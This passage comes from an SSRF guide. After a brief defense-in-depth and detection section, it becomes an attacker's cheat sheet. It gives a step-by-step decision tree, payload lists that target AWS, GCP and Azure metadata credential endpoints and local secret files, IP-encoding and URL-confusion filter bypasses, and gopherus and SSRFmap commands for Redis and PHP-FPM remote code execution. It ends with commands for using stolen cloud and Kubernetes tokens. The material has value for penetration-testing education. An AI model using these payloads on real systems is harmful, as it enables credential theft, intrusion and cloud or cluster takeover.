aws ec2 describe-instance-metadata-options --instance-id i-1234567890abcdef0
11.7 Defense-in-Depth
PRIMARY CONTROLS:
├── Allowlist: only known, safe external hosts — NEVER use a blocklist alone
├── Re-validate the resolved IP after DNS resolution (prevent DNS rebinding)
├── Restrict URL schemes to http:// and https:// only
└── Do not return raw external response bodies to the client
SECONDARY CONTROLS:
├── Egress firewall: block RFC1918, 169.254.0.0/16, loopback from app servers
├── Enforce IMDSv2 on all cloud instances (require PUT token)
├── Run app process with minimal network privileges (no access to admin APIs)
├── Use separate VPCs / network segments for public-facing apps vs. internal services
├── Require auth on ALL internal services (Redis, Elasticsearch, Kubernetes, etc.)
└── Disable unused protocols (gopher, file, ftp) at HTTP library / proxy level
DETECTION:
├── Log all outbound HTTP requests from app servers
├── Alert on requests to 169.254.0.0/16, 127.0.0.0/8, RFC1918 ranges
├── Monitor for unusual outbound DNS queries or HTTP to metadata endpoints
├── Use AWS CloudTrail / GCP Audit Logs to detect unusual credential use
├── DAST scanning with Burp Active Scanner / nuclei in CI/CD
└── SAST: scan code for unvalidated URL fetch patterns (requests.get(user_input), etc.)
12. Master Cheat Sheet
Attack Decision Tree
Found a parameter that accepts a URL / domain / IP?
│
├── Step 1: OOB Confirmation
│ ├── Replace value with Burp Collaborator / interactsh domain
│ ├── DNS callback received? → SSRF confirmed (blind)
│ └── HTTP callback received? → SSRF confirmed (in-band or blind)
│
├── Step 2: In-Band Check
│ ├── Try: http://127.0.0.1/
│ ├── Different response body / length / status? → In-band SSRF
│ └── Same response? → Likely blind or filtered
│
├── Step 3: Cloud Metadata
│ ├── Try: http://169.254.169.254/latest/meta-data/
│ ├── AWS? → /latest/meta-data/iam/security-credentials/
│ ├── GCP? → http://metadata.google.internal/computeMetadata/v1/
│ └── Azure? → http://169.254.169.254/metadata/instance?api-version=2021-02-01
│
├── Step 4: Internal Network Scan
│ ├── Common IPs: 10.0.0.1, 172.16.0.1, 192.168.0.1, 172.31.0.1 (AWS VPC)
│ ├── Common ports: 22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017
│ └── Use ffuf / Burp Intruder for sweep
│
├── Step 5: Escalation
│ ├── Redis open? → gopher:// payload → RCE
│ ├── Kubernetes API? → steal SA token → cluster takeover
│ ├── Jenkins? → /script console → Groovy RCE
│ ├── Elasticsearch? → dump all indices → data breach
│ └── AWS creds obtained? → aws sts get-caller-identity → escalate
│
├── Step 6: Bypass Filters (if blocked)
│ ├── IP encoding: 2130706433, 0x7f000001, 0177.0.0.1
│ ├── IPv6: [::1], [::ffff:127.0.0.1]
│ ├── Domains resolving to 127.0.0.1: localtest.me, 127.0.0.1.nip.io
│ ├── URL confusion: http://evil.com@127.0.0.1/, http://127.0.0.1#@evil.com/
│ ├── Open redirect: /redirect?url=http://169.254.169.254/
│ └── DNS rebinding: rbndr.us or singularity
│
└── No response at all?
├── OOB via Burp Collaborator / interactsh
├── Time-based: observe timeout for filtered ports
└── Chain with other vulns (XXE → SSRF, SSTI → SSRF → RCE)
Quick Payload Reference
# ── BASIC CONFIRMATION ──
http://127.0.0.1/
http://localhost/
http://[::1]/
http://YOUR-COLLABORATOR.oastify.com/ # OOB confirmation
# ── AWS METADATA ──
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data
# ── GCP METADATA ──
http://metadata.google.internal/computeMetadata/v1/?recursive=true
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# ── AZURE METADATA ──
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# ── LOCAL FILE READ ──
file:///etc/passwd
file:///proc/self/environ
file:///var/run/secrets/kubernetes.io/serviceaccount/token
# ── INTERNAL SERVICE HITS ──
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:9200/ # Elasticsearch
http://127.0.0.1:8080/manager/html # Tomcat
http://127.0.0.1:2375/info # Docker API
http://10.96.0.1/api/v1/ # K8s API
# ── IP BYPASS ENCODING ──
http://2130706433/ # 127.0.0.1 decimal
http://0x7f000001/ # 127.0.0.1 hex
http://0177.0.0.1/ # 127 octal
http://127.1/ # short form
http://localtest.me/ # domain → 127.0.0.1
http://127.0.0.1.nip.io/ # wildcard DNS
# ── URL CONFUSION BYPASS ──
http://evil.com@127.0.0.1/
http://127.0.0.1#@evil.com/
http://127.0.0.1%20@evil.com/
# ── PROTOCOL ABUSE ──
file:///etc/passwd
gopher://127.0.0.1:6379/_... # use gopherus to generate
dict://127.0.0.1:22/ # SSH banner
gopherus Quick Reference
gopherus.py --exploit redis # Redis → SSH key / webshell
gopherus.py --exploit mysql # MySQL (no auth)
gopherus.py --exploit smtp # SMTP relay
gopherus.py --exploit fastcgi # PHP-FPM RCE
gopherus.py --exploit memcache # Session poisoning
gopherus.py --exploit zabbix # Zabbix RCE
SSRFmap Quick Reference
python3 ssrfmap.py -r request.txt -p url -m aws # steal AWS creds
python3 ssrfmap.py -r request.txt -p url -m redis # Redis RCE
python3 ssrfmap.py -r request.txt -p url -m portscan # port scan
python3 ssrfmap.py -r request.txt -p url -m networkscan # net scan
python3 ssrfmap.py -r request.txt -p url -m readfiles # file read
Escalation Cheat Sheet
# Stolen AWS credentials:
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
aws sts get-caller-identity
aws s3 ls
aws secretsmanager list-secrets
aws ec2 describe-instances --region us-east-1
# Stolen K8s service account token:
curl -H "Authorization: Bearer STOLEN_TOKEN" \
https://kubernetes.default.svc.cluster.local/api/v1/secrets/ \
--insecure
# Stolen GCP OAuth token:
curl -H "Authorization: Bearer STOLEN_TOKEN" \
https://www.googleapis.com/storage/v1/b?project=PROJECT_ID
# Redis RCE via SSH key:
# 1. Generate gopherus payload with your SSH public key
# 2. Feed gopher:// URL to SSRF parameter
# 3. ssh root@target